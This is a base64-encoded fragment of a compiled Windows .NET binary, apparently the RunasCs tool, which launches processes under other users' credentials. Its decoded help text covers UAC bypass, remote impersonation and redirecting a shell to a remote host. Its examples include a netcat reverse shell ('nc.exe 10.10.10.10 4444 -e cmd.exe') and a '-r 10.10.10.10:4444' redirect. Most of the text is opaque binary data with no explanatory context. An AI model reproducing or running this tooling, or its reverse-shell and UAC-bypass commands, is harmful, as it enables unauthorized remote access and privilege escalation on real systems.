fAGMAbwBkAGUADQAKAA0ACgBVAHMAYQBnAGUAOgANAAoAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByAG4AYQBtAGUAIABwAGEAcwBzAHcAbwByAGQAIABjAG0AZAAgAFsALQBkACAAZABvAG0AYQBpAG4AXQAgAFsALQBmACAAYwByAGUAYQB0AGUAXwBwAHIAbwBjAGUAcwBzAF8AZgB1AG4AYwB0AGkAbwBuAF0AIABbAC0AbAAgAGwAbwBnAG8AbgBfAHQAeQBwAGUAXQAgAFsALQByACAAaABvAHMAdAA6AHAAbwByAHQAXQAgAFsALQB0ACAAcAByAG8AYwBlAHMAcwBfAHQAaQBtAGUAbwB1AHQAXQAgAFsALQAtAGYAbwByAGMAZQAtAHAAcgBvAGYAaQBsAGUAXQAgAFsALQAtAGIAeQBwAGEAcwBzAC0AdQBhAGMAXQAgAFsALQAtAHIAZQBtAG8AdABlAC0AaQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgBdAA0ACgANAAoARABlAHMAYwByAGkAcAB0AGkAbwBuADoADQAKACAAIAAgACAAUgB1AG4AYQBzAEMAcwAgAGkAcwAgAGEAbgAgAHUAdABpAGwAaQB0AHkAIAB0AG8AIAByAHUAbgAgAHMAcABlAGMAaQBmAGkAYwAgAHAAcgBvAGMAZQBzAHMAZQBzACAAdQBuAGQAZQByACAAYQAgAGQAaQBmAGYAZQByAGUAbgB0ACAAdQBzAGUAcgAgAGEAYwBjAG8AdQBuAHQADQAKACAAIAAgACAAYgB5ACAAcwBwAGUAYwBpAGYAeQBpAG4AZwAgAGUAeABwAGwAaQBjAGkAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuACAASQBuACAAYwBvAG4AdAByAGEAcwB0ACAAdABvACAAdABoAGUAIABkAGUAZgBhAHUAbAB0ACAAcgB1AG4AYQBzAC4AZQB4AGUAIABjAG8AbQBtAGEAbgBkAA0ACgAgACAAIAAgAGkAdAAgAHMAdQBwAHAAbwByAHQAcwAgAGQAaQBmAGYAZQByAGUAbgB0ACAAbABvAGcAbwBuACAAdAB5AHAAZQBzACAAYQBuAGQAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACoAIABmAHUAbgBjAHQAaQBvAG4AcwAgAHQAbwAgAGIAZQAgAHUAcwBlAGQALAAgAGQAZQBwAGUAbgBkAGkAbgBnAA0ACgAgACAAIAAgAG8AbgAgAHkAbwB1AHIAIABjAHUAcgByAGUAbgB0ACAAcABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AIABGAHUAcgB0AGgAZQByAG0AbwByAGUAIABpAHQAIABhAGwAbABvAHcAcwAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAcgBlAGQAaQByAGUAYwB0AGkAbwBuACAAKABlAHYAZQBuAA0ACgAgACAAIAAgAHQAbwAgAHIAZQBtAG8AdABlACAAaABvAHMAdABzACkAIABhAG4AZAAgAHkAbwB1ACAAYwBhAG4AIABzAHAAZQBjAGkAZgB5ACAAdABoAGUAIABwAGEAcwBzAHcAbwByAGQAIABkAGkAcgBlAGMAdABsAHkAIABvAG4AIAB0AGgAZQAgAGMAbwBtAG0AYQBuAGQAIABsAGkAbgBlAC4ADQAKAA0ACgBQAG8AcwBpAHQAaQBvAG4AYQBsACAAYQByAGcAdQBtAGUAbgB0AHMAOgANAAoAIAAgACAAIAB1AHMAZQByAG4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAZQByAG4AYQBtAGUAIABvAGYAIAB0AGgAZQAgAHUAcwBlAHIADQAKACAAIAAgACAAcABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcABhAHMAcwB3AG8AcgBkACAAbwBmACAAdABoAGUAIAB1AHMAZQByAA0ACgAgACAAIAAgAGMAbQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGMAbwBtAG0AYQBuAGQAbABpAG4AZQAgAGYAbwByACAAdABoAGUAIABwAHIAbwBjAGUAcwBzAA0ACgANAAoATwBwAHQAaQBvAG4AYQBsACAAYQByAGcAdQBtAGUAbgB0AHMAOgANAAoAIAAgACAAIAAtAGQALAAgAC0ALQBkAG8AbQBhAGkAbgAgAGQAbwBtAGEAaQBuAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGQAbwBtAGEAaQBuACAAbwBmACAAdABoAGUAIAB1AHMAZQByACwAIABpAGYAIABpAG4AIABhACAAZABvAG0AYQBpAG4ALgAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAIgANAAoAIAAgACAAIAAtAGYALAAgAC0ALQBmAHUAbgBjAHQAaQBvAG4AIABjAHIAZQBhAHQAZQBfAHAAcgBvAGMAZQBzAHMAXwBmAHUAbgBjAHQAaQBvAG4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAgAGYAdQBuAGMAdABpAG8AbgAgAHQAbwAgAHUAcwBlAC4AIABXAGgAZQBuACAAbgBvAHQAIABzAHAAZQBjAGkAZgBpAGUAZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzACAAZABlAHQAZQByAG0AaQBuAGUAcwAgAGEAbgAgAGEAcABwAHIAbwBwAHIAaQBhAHQAZQAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAYQB1AHQAbwBtAGEAdABpAGMAYQBsAGwAeQAgAGEAYwBjAG8AcgBkAGkAbgBnACAAdABvACAAeQBvAHUAcgAgAHAAcgBpAHYAaQBsAGUAZwBlAHMALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAwACAALQAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAQQBzAFUAcwBlAHIAVwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxACAALQAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABUAG8AawBlAG4AVwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAyACAALQAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwANAAoAIAAgACAAIAAtAGwALAAgAC0ALQBsAG8AZwBvAG4ALQB0AHkAcABlACAAbABvAGcAbwBuAF8AdAB5AHAAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AGgAZQAgAGwAbwBnAG8AbgAgAHQAeQBwAGUAIABmAG8AcgAgAHQAaABlACAAdABvAGsAZQBuACAAbwBmACAAdABoAGUAIABuAGUAdwAgAHAAcgBvAGMAZQBzAHMALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADIAIgAgAC0AIABJAG4AdABlAHIAYQBjAHQAaQB2AGUADQAKACAAIAAgACAALQB0ACwAIAAtAC0AdABpAG0AZQBvAHUAdAAgAHAAcgBvAGMAZQBzAHMAXwB0AGkAbQBlAG8AdQB0AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAaABlACAAdwBhAGkAdABpAG4AZwAgAHQAaQBtAGUAIAAoAGkAbgAgAG0AcwApACAAZgBvAHIAIAB0AGgAZQAgAGMAcgBlAGEAdABlAGQAIABwAHIAbwBjAGUAcwBzAC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVABoAGkAcwAgAHcAaQBsAGwAIABoAGEAbAB0ACAAUgB1AG4AYQBzAEMAcwAgAHUAbgB0AGkAbAAgAHQAaABlACAAcwBwAGEAdwBuAGUAZAAgAHAAcgBvAGMAZQBzAHMADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBuAGQAcwAgAGEAbgBkACAAcwBlAG4AdAAgAHQAaABlACAAbwB1AHQAcAB1AHQAIABiAGEAYwBrACAAdABvACAAdABoAGUAIABjAGEAbABsAGUAcgAuAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAZgAgAHkAbwB1ACAAcwBlAHQAIAAwACAAbgBvACAAbwB1AHQAcAB1AHQAIAB3AGkAbABsACAAYgBlACAAcgBlAHQAcgBpAGUAdgBlAGQAIABhAG4AZAAgAGEAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAGEAYwBrAGcAcgBvAHUAbgBkACAAcAByAG8AYwBlAHMAcwAgAHcAaQBsAGwAIABiAGUAIABjAHIAZQBhAHQAZQBkAC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgAxADIAMAAwADAAMAAiAA0ACgAgACAAIAAgAC0AcgAsACAALQAtAHIAZQBtAG8AdABlACAAaABvAHMAdAA6AHAAbwByAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAGQAaQByAGUAYwB0ACAAcwB0AGQAaQBuACwAIABzAHQAZABvAHUAdAAgAGEAbgBkACAAcwB0AGQAZQByAHIAIAB0AG8AIABhACAAcgBlAG0AbwB0AGUAIABoAG8AcwB0AC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVQBzAGkAbgBnACAAdABoAGkAcwAgAG8AcAB0AGkAbwBuACAAcwBlAHQAcwAgAHQAaABlACAAcAByAG8AYwBlAHMAcwBfAHQAaQBtAGUAbwB1AHQAIAB0AG8AIAAwAC4ADQAKACAAIAAgACAALQBwACwAIAAtAC0AZgBvAHIAYwBlAC0AcAByAG8AZgBpAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgBjAGUAIAB0AGgAZQAgAGMAcgBlAGEAdABpAG8AbgAgAG8AZgAgAHQAaABlACAAdQBzAGUAcgAgAHAAcgBvAGYAaQBsAGUAIABvAG4AIAB0AGgAZQAgAG0AYQBjAGgAaQBuAGUALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABUAGgAaQBzACAAdwBpAGwAbAAgAGUAbgBzAHUAcgBlACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdwBpAGwAbAAgAGgAYQB2AGUAIAB0AGgAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB2AGEAcgBpAGEAYgBsAGUAcwAgAGMAbwByAHIAZQBjAHQAbAB5ACAAcwBlAHQALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAEEAUgBOAEkATgBHADoAIABJAGYAIABuAG8AbgAtAGUAeABpAHMAdABlAG4AdAAsACAAaQB0ACAAYwByAGUAYQB0AGUAcwAgAHQAaABlACAAdQBzAGUAcgAgAHAAcgBvAGYAaQBsAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZABpAHIAZQBjAHQAbwByAHkAIABpAG4AIAB0AGgAZQAgAEMAOgBcAFUAcwBlAHIAcwAgAGYAbwBsAGQAZQByAC4ADQAKACAAIAAgACAALQBiACwAIAAtAC0AYgB5AHAAYQBzAHMALQB1AGEAYwAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdAByAHkAIABhACAAVQBBAEMAIABiAHkAcABhAHMAcwAgAHQAbwAgAHMAcABhAHcAbgAgAGEAIABwAHIAbwBjAGUAcwBzACAAdwBpAHQAaABvAHUAdAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AG8AawBlAG4AIABsAGkAbQBpAHQAYQB0AGkAbwBuAHMAIAAoAG4AbwB0ACAAZgBpAGwAdABlAHIAZQBkACkALgANAAoAIAAgACAAIAAtAGkALAAgAC0ALQByAGUAbQBvAHQAZQAtAGkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHMAcABhAHcAbgAgAGEAIABuAGUAdwAgAHAAcgBvAGMAZQBzAHMAIABhAG4AZAAgAGEAcwBzAGkAZwBuACAAdABoAGUAIAB0AG8AawBlAG4AIABvAGYAIAB0AGgAZQAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGwAbwBnAGcAZQBkACAAbwBuACAAdQBzAGUAcgAgAHQAbwAgAHQAaABlACAAbQBhAGkAbgAgAHQAaAByAGUAYQBkAC4ADQAKAA0ACgBFAHgAYQBtAHAAbABlAHMAOgANAAoAIAAgACAAIABSAHUAbgAgAGEAIABjAG8AbQBtAGEAbgBkACAAYQBzACAAYQAgAGwAbwBjAGEAbAAgAHUAcwBlAHIADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByADEAIABwAGEAcwBzAHcAbwByAGQAMQAgACIAYwBtAGQAIAAvAGMAIAB3AGgAbwBhAG0AaQAgAC8AYQBsAGwAIgANAAoAIAAgACAAIABSAHUAbgAgAGEAIABjAG8AbQBtAGEAbgBkACAAYQBzACAAYQAgAGQAbwBtAGEAaQBuACAAdQBzAGUAcgAgAGEAbgBkACAAbABvAGcAbwBuACAAdAB5AHAAZQAgAGEAcwAgAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQAIAAoADgAKQANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAHUAcwBlAHIAMQAgAHAAYQBzAHMAdwBvAHIAZAAxACAAIgBjAG0AZAAgAC8AYwAgAHcAaABvAGEAbQBpACAALwBhAGwAbAAiACAALQBkACAAZABvAG0AYQBpAG4AIAAtAGwAIAA4AA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGIAYQBjAGsAZwByAG8AdQBuAGQAIABwAHIAbwBjAGUAcwBzACAAYQBzACAAYQAgAGwAbwBjAGEAbAAgAHUAcwBlAHIALAANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAHUAcwBlAHIAMQAgAHAAYQBzAHMAdwBvAHIAZAAxACAAIgBDADoAXAB0AG0AcABcAG4AYwAuAGUAeABlACAAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACAANAA0ADQANAAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAIgAgAC0AdAAgADAADQAKACAAIAAgACAAUgBlAGQAaQByAGUAYwB0ACAAcwB0AGQAaQBuACwAIABzAHQAZABvAHUAdAAgAGEAbgBkACAAcwB0AGQAZQByAHIAIABvAGYAIAB0AGgAZQAgAHMAcABlAGMAaQBmAGkAZQBkACAAYwBvAG0AbQBhAG4AZAAgAHQAbwAgAGEAIAByAGUAbQBvAHQAZQAgAGgAbwBzAHQADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByADEAIABwAGEAcwBzAHcAbwByAGQAMQAgAGMAbQBkAC4AZQB4AGUAIAAtAHIAIAAxADAALgAxADAALgAxADAALgAxADAAOgA0ADQANAA0AA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGMAbwBtAG0AYQBuAGQAIABzAGkAbQB1AGwAYQB0AGkAbgBnACAAdABoAGUAIAAvAG4AZQB0AG8AbgBsAHkAIABmAGwAYQBnACAAbwBmACAAcgB1AG4AYQBzAC4AZQB4AGUAIAANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAHUAcwBlAHIAMQAgAHAAYQBzAHMAdwBvAHIAZAAxACAAIgBjAG0AZAAgAC8AYwAgAHcAaABvAGEAbQBpACAALwBhAGwAbAAiACAALQBsACAAOQANAAoAIAAgACAAIABSAHUAbgAgAGEAIABjAG8AbQBtAGEAbgBkACAAYQBzACAAYQBuACAAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgAgAGIAeQBwAGEAcwBzAGkAbgBnACAAVQBBAEMADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIABhAGQAbQAxACAAcABhAHMAcwB3AG8AcgBkADEAIAAiAGMAbQBkACAALwBjACAAdwBoAG8AYQBtAGkAIAAvAHAAcgBpAHYAIgAgAC0ALQBiAHkAcABhAHMAcwAtAHUAYQBjAA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGMAbwBtAG0AYQBuAGQAIABhAHMAIABhAG4AIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACAAdABoAHIAbwB1AGcAaAAgAHIAZQBtAG8AdABlACAAaQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAGEAZABtADEAIABwAGEAcwBzAHcAbwByAGQAMQAgACIAYwBtAGQAIAAvAGMAIABlAGMAaABvACAAYQBkAG0AaQBuACAAPgAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABhAGQAbQBpAG4AIgAgAC0AbAAgADgAIAAtAC0AcgBlAG0AbwB0AGUALQBpAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAADQAKAAEAoO3VFel+yUui1Dp3FoWbRQAIt3pcVhk04IkCBg4sWwAtAF0AIABSAHUAbgBhAHMAQwBzAEUAeABjAGUAcAB0AGkAbwBuADoAIAADAAAOAyAAAQQgAQEOBSACAQ4CAgYIBAABAAAEAQAAAAQCAAAABAAAAAAEAwAAAAQEAAAABAUAAAAECAAAAAQJAAAABGkFAAAEAAAQAAIGCQQAAAAIBAAEAAAE/////wIGGAMGEjAEAAECGAUAAgkYCQYAAgIQGBgEAAEIGAMAAAIKAAYCDg4OCAgQGAsABgIYCRgRHAgQGAcAAwIYCRAYEQAKAg4OGBgCCRgOEBEQEBEUEgALAg4ODgkODgkJDhAREBARFBIACwIYDg4YGAIJGA4QERAQERQQAAkCGAkODgkYDhAREBARFAsABwkYESgJGBgYGAsABAIQGBAYEBEYCQgABAIYEAkYGAoABQIYHQUJEAkYCwAHAhgYGBAYCQIJBwADAhAYGAIIAAMCGBIVEAgHAAICGBARLAUAAgIYGAwABhgRGREdESEYCQgIAAMIGBARIAgEAAEHBwMAAAgHAAIIBhARJAQgAQ4IByACAhAYEBgEIAEOGAUgARgdDgYgAgIYEBgJIAUBGA4CAhAYByAEAg4ODggQIAkCCAkODg4ODhAREBARFAQgAQ4OCSAFAhgODg4QCAggBQEODg4ICBEgBwEJHQ4QERAQGBAYEBgQGBEgCQEODg4ICA4QERAQERQQCBIgCgEODg4ICQ4CEBEQEBEUEAgSIAoBDg4ODggJCBAREBARFBAIEyALAQ4ODggIDgICEBEQEBEUEAgPIAsODg4ODgkICB0OAgICAgYGAgYCAwYRHAIGCgMGESgEBgAAAAQHAAAABAoAAAAECwAAAAQMAAAABHoAAAACBgUBAAECAQgBAQEEBOwDAAADAAAYCgAFAhgIHQUJEAkHAAMYDgIRNAgABBgOCQIRNAQAARgYCwAFAhgQETgYCRAJCgAEAhgQAhAYEAIKAAQCGBARSAkRPAUAAgIYCQYAAwIYCQkHAAMCGAgQGAgABQIYCQkYCQgABAIYCRE0GAcABAIYAhgCCAADAhgQETgYBgADAgkYGBAABwIODh0FEAkSFRAJEBFABSACGA4OCCAEARgRNAUJBiADDg4OCAMGETQEAAABAAQAAAIABAAABAAEAAAIAAQAAA8ABAAAHwAE//8AAAQAAAABBAAAAAIEAAAAgAQAAABABAAAACAEAAAAEAQAAADwBBAAAAAEIAAAAARAAAAABIAAAAAE/wEPAAQAAgAABH8DDwADBhE4AwYRPAMGEUADBh0FAwYRTAQAEAAABAAgAAAEADAAAAQAQAAABABQAAAECAACAAoABQIYEVgYCRAJCQAEAg4YEhUQCAoABQIYEVgYCBAIDwALAhgFCAgICAgICAgQGAgABAIYEVgYCAUAAhgYCQsABgIYAhARZAgICAgAAwgODhARfAQAAQ4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